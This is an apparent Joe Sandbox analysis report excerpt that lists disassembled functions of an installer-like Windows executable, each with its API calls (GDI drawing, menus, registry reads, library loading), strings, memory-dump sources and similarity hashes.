InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 00411846

Part of subcall function 00411A1C: CreateMenu.USER32 ref: 00411A40

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 0041182D

Strings

,, xrefs: 0041170F
?, xrefs: 00411716

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: a4330348a8b5add72bb88b34234a092f9c4bcb0268f2a71967034c917c80e18f
Instruction ID: 4e4ae47f8a98248c410fe7f22b452c6d5eef6af5e50a3601a7d5a52227d6b5a7
Opcode Fuzzy Hash: a4330348a8b5add72bb88b34234a092f9c4bcb0268f2a71967034c917c80e18f
Instruction Fuzzy Hash: 91510774A00141ABDB10EF6ADC816DA7BF9AF09304B1585BBF904E73A6D738DE41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041BDD3 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BE98
GetObjectA.GDI32(?,00000018,?), ref: 0041BEA7
GetBitmapBits.GDI32(?,?,?), ref: 0041BEF8
GetBitmapBits.GDI32(?,?,?), ref: 0041BF06
DeleteObject.GDI32(?), ref: 0041BF0F
DeleteObject.GDI32(?), ref: 0041BF18
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BF35

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: def8fbccf1c24a02d994da4c86886dac4c2dead876cc1f6ae6625c60910ee1ab
Instruction ID: df24cebc7fa487ee98114de19092ccc5a22b1f53c044ef6357ba81a281e40f4e
Opcode Fuzzy Hash: def8fbccf1c24a02d994da4c86886dac4c2dead876cc1f6ae6625c60910ee1ab
Instruction Fuzzy Hash: A4510571E00219AFCB14DFA9D8819EEB7F9EF48314B10446AF914E7391D738AD81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041CE48 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CE6E
73A24620.GDI32(00000000,00000026), ref: 0041CE8D
73A18830.GDI32(?,?,00000001,00000000,00000026), ref: 0041CEF3
73A122A0.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041CF02
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CF6C
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041CFAA
73A18830.GDI32(?,?,00000001,0041CFDC,00000000,00000026), ref: 0041CFCF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Stretch$A18830$A122A24620BitsMode
String ID:
API String ID: 430401518-0
Opcode ID: f1e44e616a31fadfa248c6df7b1b8cee01c2aa03eac239bf1acaf6848e72f817
Instruction ID: 0295d75a013be80ecc2d975aeb153abe1d20fbb24d7cab5e263b7fb8805ed029
Opcode Fuzzy Hash: f1e44e616a31fadfa248c6df7b1b8cee01c2aa03eac239bf1acaf6848e72f817
Instruction Fuzzy Hash: 6A512970644600AFDB14DFA8C985FABBBF9AF08304F10459AF544DB292C778ED80CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00455190 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,?,?), ref: 004551E2

Part of subcall function 004241EC: GetWindowTextA.USER32(?,?,00000100), ref: 0042420C

Part of subcall function 0041EE14: GetCurrentThreadId.KERNEL32 ref: 0041EE63
Part of subcall function 0041EE14: 73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042E804,?,00000001), ref: 0041EE69

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00455249
TranslateMessage.USER32(?), ref: 00455267
DispatchMessageA.USER32(?), ref: 00455270

Strings

[Paused] , xrefs: 00455218

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Message$TextWindow$A25940CurrentDispatchSendThreadTranslate
String ID: [Paused]
API String ID: 3047529653-4230553315
Opcode ID: c756cc2506f3dbf4f4bb9941ae66d94f60b4aee530b10c6c59ca1a5cc46b1d7b
Instruction ID: f2f6b487c86353f72898e4c8af60e590ce20add486516cec5e8e630063df4c80
Opcode Fuzzy Hash: c756cc2506f3dbf4f4bb9941ae66d94f60b4aee530b10c6c59ca1a5cc46b1d7b
Instruction Fuzzy Hash: 5731C3319086486ECB01DBB5DC51FEEBBB8EB49314F5140B7F800E3692D67C990ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 004671DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046731B), ref: 00467298
LoadCursorA.USER32(00000000,00007F02), ref: 004672A6
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046731B), ref: 004672AC
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046731B), ref: 004672B6
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046731B), ref: 004672BC

Strings

CheckPassword, xrefs: 00467240

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: 7853287eaffac6cb94d744d74196ba731cdf5e518dc0597f07a7724a604def1d
Instruction ID: e79c91264cf403656a7ecb179e9d02605dd9e3cded0af3c011d04f8f5d04b07e
Opcode Fuzzy Hash: 7853287eaffac6cb94d744d74196ba731cdf5e518dc0597f07a7724a604def1d
Instruction Fuzzy Hash: A1318134644644AFD711EF69C88AF9A7BE4AF45308F5580B6FC00AF3A2DB789D40DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00457AD8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 00457B93

Strings

.NET Framework CreateAssemblyCache function failed, xrefs: 00457BB6
Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 00457B9E
Failed to load .NET Framework DLL "%s", xrefs: 00457B78
CreateAssemblyCache, xrefs: 00457B8A
Fusion.dll, xrefs: 00457B33

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc
String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-3990135632
Opcode ID: 84556e50aacdd0334a8723a64b5ce391b8f5f4a0f005a9f218f2c1a3e260840a
Instruction ID: 54d6081f599df52c860fdc2f47534742524e01ae44f48fc011e119f3f1d07f73
Opcode Fuzzy Hash: 84556e50aacdd0334a8723a64b5ce391b8f5f4a0f005a9f218f2c1a3e260840a
Instruction Fuzzy Hash: FA319A71E04609AFCB11EFA5D88169FB7B8EF44315F50857BE814E7382D7389E088B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0B8 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BFB8: GetObjectA.GDI32(?,00000018), ref: 0041BFC5

GetFocus.USER32 ref: 0041C0D8
73A1A570.USER32(?), ref: 0041C0E4
73A18830.GDI32(?,?,00000000,00000000,0041C163,?,?), ref: 0041C105
73A122A0.GDI32(?,?,?,00000000,00000000,0041C163,?,?), ref: 0041C111
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C128
73A18830.GDI32(?,00000000,00000000,0041C16A,?,?), ref: 0041C150
73A1A480.USER32(?,?,0041C16A,?,?), ref: 0041C15D

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A18830$A122A480A570BitsFocusObject
String ID:
API String ID: 2231653193-0
Opcode ID: 4dda706c4d7f92d041f49e6fbb3e4bdf95359f21a4b7263d3cbf0515cfc8cf41
Instruction ID: be6d8328aec04e85a436dd0cf8ae2147a44d9b66c6d411dca3268b31211d8f12
Opcode Fuzzy Hash: 4dda706c4d7f92d041f49e6fbb3e4bdf95359f21a4b7263d3cbf0515cfc8cf41
Instruction Fuzzy Hash: B2116A71A40618BFDB10DBA9CC86FAFB7FCEF48700F54446AB514E7281D6789D008B68

Uniqueness

Uniqueness Score: -1.00%

Function 0047DE80 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0047DF38), ref: 0047DF1D

Strings

ProductType, xrefs: 0047DEBC
LanmanNT, xrefs: 0047DEE7
System\CurrentControlSet\Control\ProductOptions, xrefs: 0047DEA4
WinNT, xrefs: 0047DECD
ServerNT, xrefs: 0047DF01

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 3d421fe5b9d66a13501841859f0a8451f50d73c39307a227430f230348f08d3b
Instruction ID: 7da821122e4f9b7c3381c3a81ebb3182cabfb864ff3682cb6973b5219dc9143e
Opcode Fuzzy Hash: 3d421fe5b9d66a13501841859f0a8451f50d73c39307a227430f230348f08d3b
Instruction Fuzzy Hash: 65118E30B24204AADB01DB66C802BDF7BB9EF15318F61C0B7F406E7286EB79D9018758

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D2 Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B3E0
SelectObject.GDI32(?,00000000), ref: 0041B3EF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B41B
SelectObject.GDI32(00000000,00000000), ref: 0041B429
SelectObject.GDI32(?,00000000), ref: 0041B437
DeleteDC.GDI32(00000000), ref: 0041B440
DeleteDC.GDI32(?), ref: 0041B449

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 5d8119482a24acdf9dbc4f71c87d898742faec31f652e860e6f74a5bb4e0366a
Instruction ID: 073f11bba2386bee955988a390c3df6f0cbda7ed7a331810ab0cae2060ca734e
Opcode Fuzzy Hash: 5d8119482a24acdf9dbc4f71c87d898742faec31f652e860e6f74a5bb4e0366a
Instruction Fuzzy Hash: F9114C72E40659ABDF10D6D9D985FAFB3BCEF08704F048456B614FB242C678A8418B54

Uniqueness

Uniqueness Score: -1.00%

Function 0048F440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000), ref: 0048F451

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(00000000,00000000), ref: 0048F473
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,0048F9C9), ref: 0048F487
GetTextMetricsA.GDI32(00000000,?), ref: 0048F4A9
73A1A480.USER32(00000000,00000000,0048F4D3,0048F4CC,?,00000000,?,?,00000000), ref: 0048F4C6

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 0048F47E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Text$A480A570CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1435929781-222967699
Opcode ID: aec2ce94ca0a2fe66ea55faeebd29ac8e829e062f1f7dec7e9667981b672f2ca
Instruction ID: 36afa4b657b34b8522d1c231de5a8c505386f3c2143f3af581d88b388b6b6632
Opcode Fuzzy Hash: aec2ce94ca0a2fe66ea55faeebd29ac8e829e062f1f7dec7e9667981b672f2ca
Instruction Fuzzy Hash: BF016575A04608BFEB01EAA5CC41F6FB7ECDB49704F514477B604E7281D6789D008B68

Uniqueness

Uniqueness Score: -1.00%

Function 00423304 Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 0042331F
WindowFromPoint.USER32(?,?), ref: 0042332C
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0042333A
GetCurrentThreadId.KERNEL32 ref: 00423341
SendMessageA.USER32(00000000,00000084,?,?), ref: 0042335A
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423371
SetCursor.USER32(00000000), ref: 00423383

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 60706cbef7e7fd969e6117079794ea181f59045882c2055e97c618c29bc945ad
Instruction ID: 4e500bdd1cb7c406dcecfc45487f359b17b305850d12e3c552a5b3a09f906ed3
Opcode Fuzzy Hash: 60706cbef7e7fd969e6117079794ea181f59045882c2055e97c618c29bc945ad
Instruction Fuzzy Hash: EC01D4223043103AD620BB795C86E3F26A8CFC5B55F50417FB909BE283DA3D8D0163AD

Uniqueness

Uniqueness Score: -1.00%

Function 0048F264 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 0048F274
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0048F281
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0048F28E

Strings

user32.dll, xrefs: 0048F26F
GetMonitorInfoA, xrefs: 0048F288
MonitorFromRect, xrefs: 0048F27B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 1e6e599f15a85ca3434ac6dc2256e25d95c130a7a50b60adec5cf6b1919fb023
Instruction ID: 320adb3965b6f495dc5cbca51cbfa6a5691965cf1facb545b0a128d01ebcbff3
Opcode Fuzzy Hash: 1e6e599f15a85ca3434ac6dc2256e25d95c130a7a50b60adec5cf6b1919fb023
Instruction Fuzzy Hash: FBF0CDAAB41B1566D62072B60C82B7F618CCB81770F1408B7BD04A62C2EDAA8D0943BD

Uniqueness

Uniqueness Score: -1.00%

Function 00455EB0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00455EE0
GetExitCodeProcess.KERNEL32(?,^%I), ref: 00455F01
CloseHandle.KERNEL32(?,00455F34,?,?,OgE,00000000,00000000), ref: 00455F27

Strings

GetExitCodeProcess, xrefs: 00455F0A
^%I, xrefs: 00455EF7, 00455EFA
MsgWaitForMultipleObjects, xrefs: 00455EED

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects$^%I
API String ID: 2573145106-2465217090
Opcode ID: eae7e9bc5b852605da3e4c9cab9726f535817d301444d626726a3ca8f125a080
Instruction ID: 06bcc0b7b5ae778b55f830a6e63720fcc7028796f4e4f28f42062f96750590e8
Opcode Fuzzy Hash: eae7e9bc5b852605da3e4c9cab9726f535817d301444d626726a3ca8f125a080
Instruction Fuzzy Hash: 3401A271600604AFDB10EB99CC22E2E73A8EB49715F504177F810DB7D3DA3C9D04DA18

Uniqueness

Uniqueness Score: -1.00%

Function 0045B9AC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045B9B5
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045B9C5
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045B9D5

Strings

BZ2_bzDecompressEnd, xrefs: 0045B9CF
BZ2_bzDecompressInit, xrefs: 0045B9AF
BZ2_bzDecompress, xrefs: 0045B9BF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: 622227cba5b86ca8fccab1400ad34dc8923e22f3f5578f85d6d1e5fdf3acff14
Instruction ID: bb37bbad0c8d10f251c0aa8c4ec345e64f50a4bb6c8e2d07f97ee2e6ad287d5c
Opcode Fuzzy Hash: 622227cba5b86ca8fccab1400ad34dc8923e22f3f5578f85d6d1e5fdf3acff14
Instruction Fuzzy Hash: A0F012B1600745DEEB14DF77EC41B2626A9E7E8326F14803BD8065936AE37C080ADE5C

Uniqueness

Uniqueness Score: -1.00%

Function 0044C070 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044E91D), ref: 0044C07F
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C090
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C0A0

Strings

LresultFromObject, xrefs: 0044C08A
CreateStdAccessibleObject, xrefs: 0044C09A
oleacc.dll, xrefs: 0044C07A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: b2562950c71cd23530e2a56bc8551780a47537d70dbbb9d9fb25e2bb869be04b
Instruction ID: ac0d725b3ee157e0591d3c5333f5e4ccdb9c4df60658dd2baa23885d1ab8f8cf
Opcode Fuzzy Hash: b2562950c71cd23530e2a56bc8551780a47537d70dbbb9d9fb25e2bb869be04b
Instruction Fuzzy Hash: 82F01270142389CBFBA0EBF5EDC9F123294D3A170DF18517BA0019A2E2C7BD4445CA0D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E754 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 20libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0048FAFA,QueryCancelAutoPlay,004929A3), ref: 0042E76A
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E770
InterlockedExchange.KERNEL32(00494660,00000001), ref: 0042E781
ChangeWindowMessageFilter.USER32(0000C1C2,00000001), ref: 0042E792

Strings

ChangeWindowMessageFilter, xrefs: 0042E760
user32.dll, xrefs: 0042E765

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressChangeExchangeFilterHandleInterlockedMessageModuleProcWindow
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 1365377179-2498399450
Opcode ID: 34d0edbb10ef2500e3b808e5a736a7631458895e216e2905709a8920c88350df
Instruction ID: 4a434d6ebf99a211ad985c76b6619d27f745a5091495b81aefed992397c45a81
Opcode Fuzzy Hash: 34d0edbb10ef2500e3b808e5a736a7631458895e216e2905709a8920c88350df
Instruction Fuzzy Hash: 7BE0ECE1741310EAEAA0BBA2FC8AF5A399497E5719F50003BF104651E2C6BD0C41C91C

Uniqueness

Uniqueness Score: -1.00%

Function 00473B70 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00492999), ref: 00473B76
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00473B83
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00473B93

Strings

kernel32.dll, xrefs: 00473B71
VerifyVersionInfoW, xrefs: 00473B8D
VerSetConditionMask, xrefs: 00473B7D

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: 315d5260c9f678ade1a0cc40628bf4d981144f5db400e838a2cc1962c1f8332f
Instruction ID: dcc6af067bf3078790d87b20fbc0612a0ccff274e7f94df7ba8b603e8e0053f1
Opcode Fuzzy Hash: 315d5260c9f678ade1a0cc40628bf4d981144f5db400e838a2cc1962c1f8332f
Instruction Fuzzy Hash: 89C012F0241700EDDA10AFF15CC2D7A2148E540B2A720817BF448791C7D67C6E055A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5DC Relevance: 9.1, APIs: 6, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B6B5
73A1A570.USER32(?), ref: 0041B6C1
73A18830.GDI32(00000000,?,00000000,00000000,0041B78C,?,?), ref: 0041B6F6
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041B78C,?,?), ref: 0041B702
